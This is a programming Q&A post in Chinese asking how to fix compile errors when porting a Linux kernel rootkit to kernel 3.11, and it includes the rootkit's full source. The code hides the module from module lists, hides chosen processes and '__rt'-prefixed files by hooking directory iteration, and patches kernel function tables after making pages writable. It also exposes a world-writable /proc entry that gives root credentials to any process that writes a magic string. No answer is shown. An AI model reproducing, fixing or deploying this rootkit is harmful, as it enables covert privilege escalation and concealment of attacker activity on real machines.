取消引用proc_dir_entry指针导致Linux 3.11及更高版本上的编译错误

时间:2014-06-13 03:27:20

标签: c linux compiler-errors linux-kernel procfs

我正在尝试按照这里给出的示例rootkit https://github.com/ivyl/rootkit

我修改了这个例子,以便我可以在linux 3.11版本上编译它。 我发现最新的linux版本停止支持几个API,例如create_proc_entry,readdir已经被迭代等替换。

在linux版本上是3.11.0-23我还观察到我的include目录不包含internal.h,以便有完整的proc_dir_entry定义。在linux上的较低版本(< 3.10),我们在proc_fs.h文件中定义了proc_dir_entry。

修改后的rootkit文件如下所示:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h>
//#include "fs/proc/internal.h"

#define MIN(a,b) \
   ({ typeof (a) _a = (a); \
      typeof (b) _b = (b); \
     _a < _b ? _a : _b; })


#define MAX_PIDS 50

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Arkadiusz Hiler<ivyl@sigillum.cc>");
MODULE_AUTHOR("Michal Winiarski<t3hkn0r@gmail.com>");

//STATIC VARIABLES SECTION
//we don't want to have it visible in kallsyms and have access to it all the time
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit;

static int (*proc_iterate_orig)(struct file *, struct dir_context *);
static int (*fs_iterate_orig)(struct file *, struct dir_context *);

static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig;

static struct file_operations *proc_fops;
static struct file_operations *fs_fops;

static struct list_head *module_previous;
static struct list_head *module_kobj_previous;

static char pids_to_hide[MAX_PIDS][8];
static int current_pid = 0;

static char hide_files = 1;

static char module_hidden = 0;

static char module_status[1024];

//MODULE HELPERS
void module_hide(void)
{
    if (module_hidden) return;
    module_previous = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
    module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
    kobject_del(&THIS_MODULE->mkobj.kobj);
    list_del(&THIS_MODULE->mkobj.kobj.entry);
    module_hidden = !module_hidden;
}

void module_show(void)
{
    int result;
    if (!module_hidden) return;
    list_add(&THIS_MODULE->list, module_previous);
    result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt");
    module_hidden = !module_hidden;
}

//PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
    unsigned int level;
    pte_t *pte = lookup_address((unsigned long) addr, &level);
    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}

static void set_addr_ro(void *addr)
{
    unsigned int level;
    pte_t *pte = lookup_address((unsigned long) addr, &level);
    pte->pte = pte->pte &~_PAGE_RW;
}

//CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
    int i;
    for (i=0; i < current_pid; i++) {
        if (!strcmp(name, pids_to_hide[i])) return 0;
    }
    if (!strcmp(name, "rtkit")) return 0;
    return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
}

static int proc_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
    proc_filldir_orig = dir_ctx->actor;
    return proc_iterate_orig(filp, dir_ctx);
}

static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
    if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0;
    return fs_filldir_orig(buf, name, namelen, offset, ino, d_type);
}

static int fs_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
    fs_filldir_orig = dir_ctx->actor;
    return fs_iterate_orig(filp, dir_ctx);
}

static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
{
    int size;

    sprintf(module_status, 
"RTKIT\n\
DESC:\n\
  hides files prefixed with __rt or 10-__rt and gives root\n\
CMNDS:\n\
  godisgreat - uid and gid 0 for writing process\n\
  hpXXXX - hides proc with id XXXX\n\
  up - unhides last process\n\
  thf - toogles file hiding\n\
  mh - module hide\n\
  ms - module show\n\
STATUS\n\
  fshide: %d\n\
  pids_hidden: %d\n\
  module_hidden: %d\n", hide_files, current_pid, module_hidden);

    size = strlen(module_status);

    if (off >= size) return 0;

    if (count >= size-off) {
        memcpy(buffer, module_status+off, size-off);
    } else {
        memcpy(buffer, module_status+off, count);
    }

    return size-off;
}

static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
{
    if (!strncmp(buff, "godisgreat", MIN(11, count))) { //changes to root
        struct cred *credentials = prepare_creds();
        credentials->uid = credentials->euid = 0;
        credentials->gid = credentials->egid = 0;
        commit_creds(credentials);
    } else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
        if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
    } else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
        if (current_pid > 0) current_pid--;
    } else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
        hide_files = !hide_files;
    } else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
        module_hide();
    } else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
        module_show();
    }

        return count;
}

//INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void)
{
    if (proc_rtkit != NULL) {
        remove_proc_entry("rtkit", NULL);
        proc_rtkit = NULL;
    }
    if (proc_fops != NULL && proc_iterate_orig != NULL) {
        set_addr_rw(proc_fops);
        proc_fops->iterate = proc_iterate_orig;
        set_addr_ro(proc_fops);
    }
}

static void fs_clean(void)
{
    if (fs_fops != NULL && fs_iterate_orig != NULL) {
        set_addr_rw(fs_fops);
        fs_fops->iterate = fs_iterate_orig;
        set_addr_ro(fs_fops);
    }
}

static int __init procfs_init(void)
{
    //new entry in proc root with 666 rights
    proc_rtkit = proc_create("rtkit", 0666, 0, NULL);
    if (proc_rtkit == NULL) return 0;
    proc_root = proc_rtkit->parent;
    if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
        return 0;
    }
    proc_rtkit->read_proc = rtkit_read;
    proc_rtkit->write_proc = rtkit_write;

    //substitute proc iterate to our wersion (using page mode change)
    proc_fops = ((struct file_operations *) proc_root->proc_fops);
    proc_iterate_orig = proc_fops->iterate;
    set_addr_rw(proc_fops);
    proc_fops->iterate = proc_iterate_new;
    set_addr_ro(proc_fops);

    return 1;
}

static int __init fs_init(void)
{
    struct file *etc_filp;

    //get file_operations of /etc
    etc_filp = filp_open("/etc", O_RDONLY, 0);
    if (etc_filp == NULL) return 0;
    fs_fops = (struct file_operations *) etc_filp->f_op;
    filp_close(etc_filp, NULL);

    //substitute iterate of fs on which /etc is
    fs_iterate_orig = fs_fops->iterate;
    set_addr_rw(fs_fops);
    fs_fops->iterate = fs_iterate_new;
    set_addr_ro(fs_fops);

    return 1;
}


//MODULE INIT/EXIT
static int __init rootkit_init(void)
{
    if (!procfs_init() || !fs_init()) {
        procfs_clean();
        fs_clean();
        return 1;
    }
    module_hide();

    return 0;
}

static void __exit rootkit_exit(void)
{
    procfs_clean();
    fs_clean();
}

module_init(rootkit_init);
module_exit(rootkit_exit);

在尝试构建代码时,我收到错误“取消引用指向不完整类型的指针”,因为编译器不知道proc_dif_entry的完整定义。

/prj/Rootkit/example3# make
make -C /lib/modules/3.11.0-23-generic/build M=/prj/Rootkit/example3 modules
make[1]: Entering directory `/usr/src/linux-headers-3.11.0-23-generic'
  CC [M]  /prj/Rootkit/example3/rt.o
/prj/Rootkit/example3/rt.c: In function ‘procfs_init’:
/prj/Rootkit/example3/rt.c:195:24: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:196:43: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:199:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:200:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:203:51: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c: At top level:
/prj/Rootkit/example3/rt.c:84:12: warning: ‘proc_filldir_new’ defined but not used [-Wunused-function]
/prj/Rootkit/example3/rt.c:100:12: warning: ‘fs_filldir_new’ defined but not used [-Wunused-function]
make[2]: *** [/prj/Rootkit/example3/rt.o] Error 1
make[1]: *** [_module_/prj/Rootkit/example3] Error 2
make[1]: Leaving directory `/usr/src/linux-headers-3.11.0-23-generic'
make: *** [default] Error 2
root@HP:/prj/Rootkit/example3# ^C

我不知道如何继续解决这些错误。

任何帮助!

谢谢, -Hitesh。

0 个答案:

没有答案